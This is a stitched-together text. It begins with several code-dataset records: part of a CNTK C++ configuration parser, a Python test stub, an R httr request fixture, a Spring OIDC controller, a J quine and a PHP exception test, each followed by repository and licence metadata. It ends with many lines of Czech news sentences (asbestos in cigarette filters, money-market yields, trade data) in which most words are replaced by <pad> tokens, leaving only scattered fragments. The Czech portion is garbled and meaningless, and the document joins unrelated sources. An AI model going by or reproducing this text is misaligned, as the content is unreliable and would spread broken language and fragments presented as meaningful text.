std::size_t end = 0;
while (start != std::string::npos )
{
// variable names must begin with a letter or '_'
if (start + 1 < newConfigLine.size() && !iscalpha(newConfigLine[start + 1]) && newConfigLine[start + 1] != '_')
{
start = newConfigLine.find_first_of(openBraceVar, start + 2);
continue;
}
// search for whitespace or closing brace.
end = newConfigLine.find_first_of(std::string(closingBraceVar) + forbiddenCharactersInVarName,
start + openBraceVarSize);
// If no end found on the line or the variable name would be invalid, we ignore the $.
if (end == std::string::npos || newConfigLine[end] != '$')
{
start = newConfigLine.find_first_of(openBraceVar, start + 1);
continue;
}
// end + 1 - start = the length of the string, including opening and closing braces.
std::size_t varLength = (end + 1 - start) - (openBraceVarSize + closingBraceVarSize);
std::string varName = newConfigLine.substr(start + openBraceVarSize, varLength);
// It would be great to recognize $$ as $, but since stuff gets parsed and reparsed over again
// in nested dictionaries, this is not working.
if (varName.empty())
{
RuntimeError("$$ is not allowed. Parsing of string failed: %s:%s",
m_configName.c_str(),
newConfigLine.c_str());
}
// Note that this call to "Find" can trigger further substitutions of the form $varName2$ -> varValue2,
// thus making this search process recursive.
ConfigValue varConfigValue;
const bool foundValue = this->TryFind(varName, varConfigValue);
if (!foundValue)
{
RuntimeError("No variable found with the name %s. Parsing of string failed: %s:%s",
varName.c_str(), m_configName.c_str(),
newConfigLine.c_str());
}
std::string varValue = varConfigValue;
if (varValue.find_first_of("\n") != std::string::npos)
LogicError("Newline characters are not allowed in the value of a variable which is resolved using $varName$ feature");
// Replace $varName$ with 'varValue'. Then continue the search for
// other variables in 'newConfigLine' string, starting at the point
// in the 'newConfigLine' string right after 'varValue' (all variables prior to this point
// have already been resolved, due to recursion)
newConfigLine.replace(start, varLength + openBraceVarSize + closingBraceVarSize, varValue);
start = newConfigLine.find_first_of(openBraceVar, start + varValue.size());
}
return newConfigLine;
}
// ResolveVariables - In this method we replace all instances of substrings
// of 'configString' of the form "$varName$" (where varName is a variable name),
// with the value of the "varName" variable in config. We do this by calling
// the 'ResolveVariablesInSingleLine' function on every line of 'configString'.
// See 'ResolveVariablesInSingleLine' method for more details. Note that if
// there are no newlines in 'configString', then we don't append any newlines to it.
// This is important, because when this function is called recursively
// (eg, from inside the "Find" method, in order to
// to resolve something like "$A$" in a string like "$A$\$B$"),
// we shouldn't insert newlines where they didn't already exist.
// configString - the string that you would like to resolve variables in.
// returns: A copy of 'configString' with all the variables resolved.
std::string ResolveVariables(const std::string& configString) const
{
std::string newConfigString;
if (configString.find_first_of("\n") != std::string::npos)
{
// if 'configString' contains newlines, put them back after resolving each line.
std::vector<std::string> configLines = msra::strfun::split(configString, "\n");
for (auto configLine : configLines)
{
newConfigString += ResolveVariablesInSingleLine(configLine) + "\n";
}
}
else
{
// if 'configString' doesn't contain any newlines, don't append a newline.
newConfigString = ResolveVariablesInSingleLine(configString);
}
return newConfigString;
}
// dict(name): read out a mandatory parameter value
ConfigValue operator()(const std::wstring& name) const
{
return operator()(Microsoft::MSR::CNTK::ToLegacyString(Microsoft::MSR::CNTK::ToUTF8(name)));
}
// dict(name): read out a mandatory parameter value
ConfigValue operator()(const std::string& name) const
{
ConfigValue value = Find(name);
if (value.empty())
{
RuntimeError("configparameters: required parameter missing: %s:%s",
m_configName.c_str(), name.c_str());
}
// update parent pointer to this pointer
value.SetParent(this);
return value;
}
// Match - comparison function, case insensitive
// key - key to get the value from
// compareValue - string to compare against
// returns - true if it matches
bool Match(const std::string& key, const std::string& compareValue) const
{
std::string value = Find(key);
return EqualCI(compareValue, value);
}
bool Match(const std::wstring& key, const std::wstring& compareValue) const
{
return Match(Microsoft::MSR::CNTK::ToLegacyString(Microsoft::MSR::CNTK::ToUTF8(key)), Microsoft::MSR::CNTK::ToLegacyString(Microsoft::MSR::CNTK::ToUTF8(compareValue)));
}
// return the entire path to this config element
// NOTE: may get messed up if you use temporaries mid-stream
const std::string& ConfigPath() const
{
return m_configName;
}
// return the name of this config element
const std::string ConfigName() const
{
auto lastColon = m_configName.find_last_of(':');
if (lastColon != npos && m_configName.size() > lastColon + 1)
{
return m_configName.substr(lastColon + 1);
}
return std::string(); // empty string
}
static std::string ParseCommandLine(int argc, wchar_t* argv[], ConfigParameters& config);
// support for BrainScriptNetworkBuilder: It needs the config directories in order to know where to include files from.
static vector<wstring>& GetBrainScriptNetworkBuilderIncludePaths()
{
static vector<wstring> allConfigDirs;
return allConfigDirs;
}
// dump for debugging purposes
void dump() const
{
for (auto iter = begin(); iter != end(); iter++)
{
fprintf(stderr, "configparameters: %s:%s=%s\n",
m_configName.c_str(), iter->first.c_str(), ((std::string) iter->second).c_str());
}
}
void dumpWithResolvedVariables() const
{
for (auto iter = begin(); iter != end(); iter++)
{
fprintf(stderr, "configparameters: %s:%s=%s\n",
m_configName.c_str(), iter->first.c_str(), ResolveVariables(((std::string) iter->second)).c_str());
}
}
// cast ConfigParameters back to a string so we can return it as a ConfigValue
operator ConfigValue()
{
std::string unparse = "[";
for (auto iter = this->begin(); iter != this->end(); ++iter)
{
// NOTE: the first time through this loop we will get a separator before the first value
// this is by design, since a separator immediately following a brace "[," defines the separator for that block
std::string value = iter->first + '=' + iter->second;
unparse += m_separator + value;
}
unparse += "]";
return ConfigValue(unparse, m_configName, m_parent);
}
};
class ConfigArray : public ConfigParser, public std::vector<ConfigValue>
{
bool m_repeatAsterisk;
public:
// construct an array from a ConfigValue, propogate the configName
ConfigArray(const ConfigValue& configValue, char separator = ':', bool repeatAsterisk = true)
: ConfigParser(separator, configValue.Name())
{
m_repeatAsterisk = repeatAsterisk;
std::string configString = configValue;
Parse(configString);
}
// config aray from a string
ConfigArray(const char* configValue, char separator = ':', bool repeatAsterisk = true)
: ConfigParser(separator)
{
m_repeatAsterisk = repeatAsterisk;
Parse(configValue);
}
// empty config array
ConfigArray(char separator = ':', bool repeatAsterisk = true)
: ConfigParser(separator)
{
m_repeatAsterisk = repeatAsterisk;
}
// copy and move constructors and assignment
ConfigArray(const ConfigArray& configValue)
: ConfigParser(configValue)
{
m_repeatAsterisk = true;
*this = configValue;
}
ConfigArray(const ConfigArray&& configValue)
: ConfigParser(move(configValue))
{
m_repeatAsterisk = true;
*this = move(configValue);
}
ConfigArray& operator=(const ConfigArray& configValue) = default;
// cast a configArray back to a string so we can return it as a ConfigValue
operator ConfigValue()
{
std::string unparse = "{";
for (auto iter = this->begin(); iter != this->end(); ++iter)
{
// NOTE: the first time through this loop we will get a separator
// before the first value this is by design, since a separator
// immediately following a brace "{," defines the separator for that block
std::string value = *iter;
unparse += m_separator + value;
}
unparse += "}";
return ConfigValue(unparse, m_configName);
}
private:
// parse a 'value*count' pair or just a 'value' and insert in the array
std::string::size_type ParseValue(const std::string& stringParse,
std::string::size_type tokenStart,
std::string::size_type tokenEnd)
{
// skip leading spaces
tokenStart = stringParse.find_first_not_of(" \t", tokenStart);
if (tokenStart >= tokenEnd)
{
// nothing but spaces
return tokenEnd;
}
// check for an opening brace, if it exists, no need to parse
// further, it's a nested element (and we don't allow counts)
auto braceFound = FindBraces(stringParse, tokenStart);
auto valueEnd = tokenEnd;
// no braces, so search for repeat symbol
if (braceFound == npos && m_repeatAsterisk)
{
valueEnd = stringParse.find_first_of("*", tokenStart);
}
std::string value;
int count = 1;
// no count found, just a value
if (valueEnd >= tokenEnd || valueEnd == npos)
{
value = stringParse.substr(tokenStart, tokenEnd - tokenStart);
Trim(value);
}
else
{
// if a count is specified (i.e. '1.23*5')
// get the value
value = stringParse.substr(tokenStart, valueEnd - tokenStart);
Trim(value);
tokenStart = valueEnd + 1;
if (tokenStart >= tokenEnd)
{
return npos;
}
auto tokenLength = tokenEnd - tokenStart;
// get the count
auto countStr = stringParse.substr(tokenStart, tokenLength);
Trim(countStr);
// add the value to the dictionary
ConfigValue countVal(countStr);
count = countVal;
}
// push the values into the vector, and determine their names
for (int i = 0; i < count; ++i)
{
char buf[10];
// TODO: left-over of Linux compat, can be done nicer
sprintf(buf, "%d", (int) size());
std::string name = m_configName + '[' + buf + ']';
push_back(ConfigValue(value, name));
}
return tokenEnd;
}
};
// ConfigParamList - used for parameter lists, disables * handling and set default separator to ','
class ConfigParamList : public ConfigArray
{
public:
// construct an array from a ConfigValue, propogate the configName
ConfigParamList(const ConfigValue& configValue)
: ConfigArray(configValue, ',', false)
{
}
ConfigParamList(const char* configValue)
: ConfigArray(configValue, ',', false)
{
}
ConfigParamList()
: ConfigArray(',', false)
{
}
};
// get config sections that define files (used for readers)
template <class ConfigRecordType>
void GetFileConfigNames(const ConfigRecordType& readerConfig,
std::vector<std::wstring>& features,
std::vector<std::wstring>& labels);
template <class ConfigRecordType>
void FindConfigNames(const ConfigRecordType& config, std::string key,
std::vector<std::wstring>& names);
// Version of argument vectors that preparse everything instead of parse on demand
template <typename T>
class argvector : public std::vector<T>
{
typedef std::vector<T> B;
using B::clear;
using B::reserve;
using B::push_back;
static void parse(const std::wstring& in, float& val)
{
val = (float) msra::strfun::todouble(in);
}
// convert wstring toks2[0] to T val and check type
template <typename INT>
static void parseint(const std::wstring& in, INT& val)
{
double dval = msra::strfun::todouble(in);
val = (INT) dval;
if (val != dval)
RuntimeError("argvector: invalid arg value");
}
static void parse(const std::wstring& in, size_t& val)
{
parseint(in, val);
}
static void parse(const std::wstring& in, int& val)
{
parseint(in, val);
}
static void parse(const std::wstring& in, std::wstring& val)
{
val = in;
}
public:
// constructor --construct empty, then assign a wstring from command-line argument
void operator=(const std::wstring& arg)
{
clear();
// separate the arguments
std::vector<std::wstring> toks = msra::strfun::split(arg, L":");
// comment the following argument for current stringargvector need to be empty.[v-xieche]
// if (toks.empty()) RuntimeError ("argvector: arg must not be empty");
foreach_index (i, toks)
{
// split off repeat factor
std::vector<std::wstring> toks2 = msra::strfun::split(toks[i], L"*");
T val;
// convert wstring toks2[0] to T val and check type
parse(toks2[0], val);
// repeat factor
int rep = (toks2.size() > 1) ? msra::strfun::toint(toks2[1]) : 1;
if (rep < 1)
{
RuntimeError("argvector: invalid repeat factor");
}
for (int j = 0; j < rep; j++)
{
push_back(val);
}
}
}
// constructor --use this for setting default values
argvector(const std::wstring& arg)
{
*this = arg;
}
// empty constructor --for use in structs
argvector()
{
}
// constructor to convert from config array to constant array
argvector(const ConfigArray& configArray)
{
reserve(configArray.size());
foreach_index (i, configArray)
{
T val = configArray[i];
push_back(val);
}
}
// constructor from ConfigValue to convert from config array to constant array
argvector(const ConfigValue& configValue)
: argvector((ConfigArray) configValue)
{
}
// constructor from std::vector
argvector(const std::vector<T> configVector)
: std::vector<T>(configVector)
{
}
// operator[] repeats last value infinitely
T operator[](size_t i) const
{
if (i >= size())
{
return std::vector<T>::operator[](size() - 1);
}
else
{
return std::vector<T>::operator[](i);
}
}
T& operator[](size_t i)
{
if (i >= size())
{
return std::vector<T>::operator[](size() - 1);
}
else
{
return std::vector<T>::operator[](i);
}
}
T last() const
{
return (*this)[size() - 1];
}
// we give full read access to the vector, so we can use it bounded as well
const std::vector<T>& tovector() const
{
return *this;
}
size_t size() const
{
return std::vector<T>::size();
}
};
typedef argvector<int> intargvector;
typedef argvector<float> floatargvector;
typedef argvector<double> doubleargvector;
typedef argvector<std::wstring> stringargvector;
}}}
| C | 5 | rohankumardubey/CNTK | Source/Common/Include/Config.h | [
"MIT"
] |
"""Tests for the api component."""
| Python | 0 | domwillcode/home-assistant | tests/components/api/__init__.py | [
"Apache-2.0"
] |
require(httr)
headers = c(
`x-msisdn` = 'XXXXXXXXXXXXX',
`User-Agent` = 'Mozilla Android6.1'
)
params = list(
`p` = '5',
`pub` = 'testmovie',
`tkn` = '817263812'
)
res <- httr::GET(url = 'http://205.147.98.6/vc/moviesmagic', httr::add_headers(.headers=headers), query = params)
#NB. Original query string below. It seems impossible to parse and
#reproduce query strings 100% accurately so the one below is given
#in case the reproduced version is not "correct".
# res <- httr::GET(url = 'http://205.147.98.6/vc/moviesmagic?p=5&pub=testmovie&tkn=817263812', httr::add_headers(.headers=headers))
| R | 3 | verhovsky/curlconverter | fixtures/r/get_user_agent.r | [
"MIT"
] |
package com.baeldung.openid.oidc.discovery.web.controllers;
import org.springframework.security.core.annotation.AuthenticationPrincipal;
import org.springframework.security.oauth2.core.oidc.user.OidcUser;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
@RestController
@RequestMapping("/user")
public class UserRestController {
@GetMapping("/oidc-principal")
public OidcUser getOidcUserPrincipal(@AuthenticationPrincipal OidcUser principal) {
return principal;
}
}
| Java | 3 | DBatOWL/tutorials | spring-security-modules/spring-security-oidc/src/main/java/com/baeldung/openid/oidc/discovery/web/controllers/UserRestController.java | [
"MIT"
] |
(2!:55)e(,{:,{:,]&(10{a.))(e=:1!:2&4)'(2!:55)e(,{:,{:,]&(10{a.))(e=:1!:2&4)'''
| J | 0 | MakeNowJust/quine | quine.ijs | [
"Beerware"
] |
--TEST--
Bug #60738 Allow 'set_error_handler' to handle NULL
--FILE--
<?php
var_dump(set_exception_handler(
function() { echo 'Intercepted exception!', "\n"; }
));
var_dump(set_exception_handler(null));
throw new Exception('Exception!');
?>
--EXPECTF--
NULL
object(Closure)#1 (0) {
}
Fatal error: Uncaught Exception: Exception! in %s:%d
Stack trace:
#0 {main}
thrown in %s on line %d
| PHP | 4 | thiagooak/php-src | Zend/tests/bug60738_variation.phpt | [
"PHP-3.01"
] |
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> nevýkonný ředitel <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> společnosti <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> .
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> byl <pad> <pad> <pad> tohoto <pad> <pad> <pad> .
<pad> uvedli <pad> že <pad> azbestu <pad> <pad> <pad> <pad> <pad> <pad> <pad> Kent <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> azbestové <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> neobvykle <pad> <pad> že i <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> se <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> společnosti <pad> <pad> <pad> <pad> <pad> <pad> <pad> Kent <pad> <pad> <pad> <pad> <pad> <pad> <pad> cigaret <pad> <pad> <pad> <pad> .
<pad> <pad> <pad> <pad> <pad> <pad> než <pad> <pad> <pad> <pad> výsledky <pad> <pad> <pad> <pad> <pad> New England <pad> <pad> <pad> <pad> <pad> <pad> <pad> který <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> Tohle <pad> <pad> <pad> <pad>
<pad> o <pad> <pad> <pad> <pad> <pad> <pad> <pad> tom <pad> <pad> <pad> <pad> <pad> mít <pad> <pad> <pad> <pad>
<pad> <pad> našich <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> dělníky <pad> <pad> <pad> <pad> <pad> <pad> <pad> kuřácích <pad> <pad> <pad> .
<pad> <pad> <pad> použitelné informace <pad> <pad> <pad> <pad> <pad> uživatelé <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> institutu <pad> <pad> <pad> <pad>
<pad> . <pad> <pad> <pad> <pad> <pad> <pad> <pad> pro <pad> <pad> <pad> z <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> azbest <pad> <pad> <pad> <pad> <pad> <pad> <pad> " <pad> <pad> množstvích <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> jiným <pad> filtru <pad>
Společnost <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> cigaret <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> více <pad> <pad> očekávaného <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> související <pad> <pad> , <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> mnohem <pad> <pad> <pad> <pad> očekávalo .
" <pad> <pad> <pad> pro <pad> <pad> <pad> <pad> <pad> související <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> mezi <pad> <pad> <pad> <pad> <pad> Grontonu v <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> všeho <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> smlouvu na <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> , <pad> <pad> pravděpodobně <pad> <pad> , <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> , <pad> <pad> <pad> <pad> <pad> ve většině <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> mála průmyslových <pad> <pad> <pad> <pad> <pad> <pad> normy <pad> <pad> <pad> <pad> <pad> jako <pad> <pad> <pad> <pad> <pad> <pad> jako <pad> .
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> vlákna <pad> <pad> <pad> tělo <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> ochranu <pad> <pad> <pad> <pad> <pad> všech <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> mimo <pad> téměř <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> Kent <pad> 160 <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> obzvlášť <pad> <pad>
<pad> <pad> postupu <pad> <pad> <pad> <pad> vysypali <pad> <pad> <pad> <pad> <pad> <pad> velkého <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> promíchali <pad>
<pad> <pad> " <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> nad <pad> továrny <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> Není <pad> <pad> <pad> se <pad> <pad> <pad> <pad> a <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> řekl <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> události odehrály <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> pracovní <pad> <pad>
<pad> jeden <pad> <pad> <pad> <pad> <pad> <pad> <pad> další <pad> <pad> sazeb <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> sedmidenní <pad> <pad> 400 <pad> <pad> <pad> společností <pad> <pad> <pad> <pad> <pad> <pad> <pad> zlomek <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
Složené <pad> <pad> <pad> <pad> <pad> budou <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> splatnost <pad> <pad> <pad> <pad> <pad> <pad> <pad> na <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> ' <pad> <pad> <pad> <pad> <pad> <pad>
Delší <pad> jsou <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> .
<pad> <pad> <pad> považovány za <pad> zvyšujících <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
Průměrná <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> silnější <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> dosáhla <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> .
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> říká <pad> <pad> <pad> <pad> <pad> předtím <pad> <pad> spadnou <pad> <pad> <pad> vyskočit <pad> <pad> <pad> <pad> <pad> <pad> úrokových <pad> <pad>
<pad> výnosy <pad> šestiměsíčních <pad> <pad> obligací <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> hotovosti <pad> <pad> <pad> .
<pad> <pad> <pad> <pad> <pad> <pad> posledního <pad> <pad> <pad> miliardy <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> porážejí <pad> <pad> <pad> , <pad> <pad> <pad> <pad> <pad> <pad> splatnosti <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> .
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> Dollar <pad> <pad> <pad> <pad> <pad> <pad> <pad> 9.37 <pad> <pad> <pad> <pad> <pad> <pad> 9.45 <pad> <pad> <pad> týdnu <pad>
<pad> <pad> <pad> do <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> výnosy vyhání <pad> <pad>
<pad> sedmidenní <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> 8.12 <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> na <pad> <pad> <pad> <pad> třicetidenní <pad> <pad> <pad> <pad> <pad> <pad> na <pad> <pad> <pad> <pad>
<pad> . <pad> <pad> Bolduc <pad> <pad> <pad> <pad> . <pad> <pad> <pad> <pad> <pad> <pad> , <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> bývalého <pad> <pad> W <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> sedmi <pad> v <pad> <pad> <pad> <pad> <pad>
<pad> Pacific <pad> <pad> <pad> . <pad> <pad> <pad> <pad> <pad> její <pad> <pad> <pad> <pad> <pad> <pad> <pad> za <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> povolení <pad> <pad> <pad> <pad> transakce <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> uvedla <pad> <pad> <pad> <pad> <pad> & <pad> <pad> <pad> <pad> <pad> <pad> <pad> Operations <pad> <pad> <pad> . <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> státní <pad> <pad> <pad> <pad> <pad> <pad> strojního <pad> <pad>
<pad> Bailey <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> systémy <pad>
<pad> <pad> <pad> <pad> a <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> vláda <pad> <pad> <pad> <pad> <pad> papírů <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> Kongres <pad> <pad> <pad> <pad> <pad> <pad> žádné <pad> <pad> <pad>
Vládní <pad> <pad> <pad> <pad> <pad> <pad> <pad> z <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> je <pad> <pad> <pad> <pad> <pad> <pad> z <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> ale jednání <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> financí <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> listopadu , <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> Vitulli <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> prodejní a <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> služby <pad> <pad> <pad> <pad> společnosti <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> Corp <pad>
<pad> <pad> <pad> vedoucím <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> do <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> Raton či <pad> <pad> <pad>
<pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> podzimní zasedání <pad> <pad> <pad> <pad> <pad> <pad> <pad> městě <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> , <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> rockové <pad> <pad> <pad> jako <pad> <pad> <pad>
<pad> <pad> <pad> <pad> 125 <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> a že <pad> to <pad> <pad> <pad> <pad> <pad> .
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> je <pad> <pad> <pad> Maytag <pad> <pad> <pad> <pad> známými <pad> , <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> předkrmu <pad> <pad> <pad> pracovníci <pad> <pad> <pad> starostovi <pad> <pad> <pad> <pad> <pad> <pad> <pad> strávili <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> jejich manželek <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> provozem <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> hosty <pad> <pad> <pad> <pad>
<pad> <pad> <pad> se <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> běžným <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> , posádky <pad> <pad> <pad> oficiálního <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
Po <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> a <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> nejsou žádní <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> jednoho <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> v <pad> <pad> <pad> <pad> aby <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> a <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> Roof je <pad> <pad> <pad> z <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> polevou <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> pracovníci <pad> <pad> vestoje .
Víc <pad> <pad> <pad> <pad> <pad> , <pad> <pad> <pad> <pad> <pad> červených koberců <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> se <pad> <pad> <pad> <pad> <pad> Boca <pad>
<pad> <pad> <pad> <pad> <pad> <pad> zaznamenala <pad> <pad> <pad> říjnu <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> ekonomickou <pad> <pad>
Předběžné <pad> <pad> <pad> <pad> <pad> ukázaly v <pad> <pad> <pad> <pad> bilance <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> se <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> 0.7 <pad> <pad> oproti <pad> <pad> <pad> <pad> <pad> se <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> .
<pad> <pad> <pad> <pad> <pad> <pad> roku <pad> <pad> <pad> <pad> zastavil <pad> <pad> <pad> <pad> , <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> vývoz <pad> <pad> <pad> <pad> <pad> <pad> cílem <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> letos <pad> <pad> <pad> přebytky <pad> <pad> <pad> <pad> <pad> <pad>
<pad> ledna <pad> <pad> <pad> <pad> <pad> <pad> <pad> roku <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> dolarů <pad>
<pad> <pad> <pad> <pad> <pad> nárůstu <pad> <pad> <pad> <pad>
